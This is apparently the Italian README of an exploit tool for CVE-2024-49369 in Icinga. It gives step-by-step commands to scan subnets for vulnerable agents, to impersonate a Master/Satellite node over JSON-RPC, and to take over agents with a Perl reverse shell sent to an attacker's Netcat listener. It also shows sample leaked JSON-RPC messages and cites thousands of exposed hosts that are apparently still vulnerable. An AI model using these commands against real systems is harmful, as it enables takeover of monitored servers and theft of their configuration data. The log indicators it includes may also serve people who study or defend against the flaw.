
Strumento di exploit per CVE-2024-49369 in Icinga, che consente scansione di sottoreti, takeover dell'agente tramite impersonificazione JSON-RPC, esecuzione arbitraria di comandi e reverse shell.
Questa vulnerabilità sfrutta il protocollo JSON-RPC di Icinga per attaccare nodi monitorati che eseguono agenti Icinga. Impersonando un'istanza Master/Satellite, gli attaccanti possono potenzialmente prendere il controllo degli agenti, eseguire comandi arbitrari o ottenere informazioni sensibili.
Per scansionare una sottorete alla ricerca di agenti vulnerabili, esegui il seguente comando:
python3 main.py scan --subnet 192.168.0.0/24 --vuln --batch 25
Questo comando scansiona la sottorete specificata in lotti di 25 IP. Lo strumento invia un messaggio Icinga::HELLO tramite il protocollo JSON-RPC e identifica gli agenti che rispondono insieme alle loro versioni.
Se la configurazione e l'esecuzione dei comandi sono abilitate su un endpoint (impostazione predefinita per i nodi monitorati con agenti Icinga), un attaccante può:
Ciò può portare a un compromissione totale del sistema (a seconda dell'utente del servizio) o a un accesso limitato.
Quando il nodo padre è ancora connesso, le connessioni di exploit appariranno così nel log:
[2024-12-11 09:13:03 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48120
[2024-12-11 09:13:04 -0500] information/ApiListener: New client connection for identity 'my_satellite' from [::ffff:192.168.0.1]:48124 (certificate validation failed: code 18: self signed certificate)
[2024-12-11 09:13:04 -0500] warning/ApiListener: No data received on new API connection from [::ffff:192.168.0.1]:48124 for identity 'my_satellite'. Ensure that the remote endpoints are properly configured in a cluster setup.
Possiamo vedere che questo nodo è vulnerabile all'attacco poiché l'avviso per i cluster si attiva, il che significa che il satellite corrente è ancora connesso, ma questo agente ci vede come un genitore valido.
Avvia un listener Netcat per la reverse shell:
nc -lvnp 9001
Lancia l'exploit:
python3 main.py exploit --host 192.168.0.5 --node-cn icinga_master --zone master --revip 192.168.0.1 --revport 9001
--host: Indirizzo IP dell'agente target.--node-cn: Common name del Master/Satellite da impersonare.--zone: Nome della zona target. Il default è master.--revip: Indirizzo IP dell'attaccante per la reverse shell.--revport: Porta dell'attaccante per la reverse shell.Questo comando avvia tentativi di connessione ripetuti. Una volta che l'agente target si disconnette dal suo genitore corrente, lo strumento prende il controllo, inviando e ricevendo controlli.
Una reverse shell basata su Perl viene utilizzata come parte di un nuovo controllo creato dallo strumento.
Anche se la configurazione e l'esecuzione dei comandi sono disabilitate sul target, gli attaccanti possono comunque ottenere dati sensibili osservando i risultati dei controlli inviati all'agente.
{
"jsonrpc": "2.0",
"method": "config::UpdateObject",
"params": {
"config": "object Downtime ...",
"name": "icinga-agent!load!9856e6b2...",
"type": "Downtime",
"version": 1733899523.67197
}
}
{
"jsonrpc": "2.0",
"method": "event::SetLastCheckStarted",
"params": {
"host": "icinga-agent",
"last_check_started": 1733899492.313578,
"service": "icinga"
},
"ts": 1733899492.313714
}
Queste risposte possono rivelare configurazioni sensibili, dati di pianificazione o persino i risultati dei servizi monitorati.
Su Censys ci sono attualmente 24.003 host con una porta Icinga esposta pubblicamente. Controlli a campione indicano che la maggior parte degli host esegue ancora una versione vulnerabile di Icinga.
Questa ricerca si basa sul lavoro discusso nel blog di Icinga.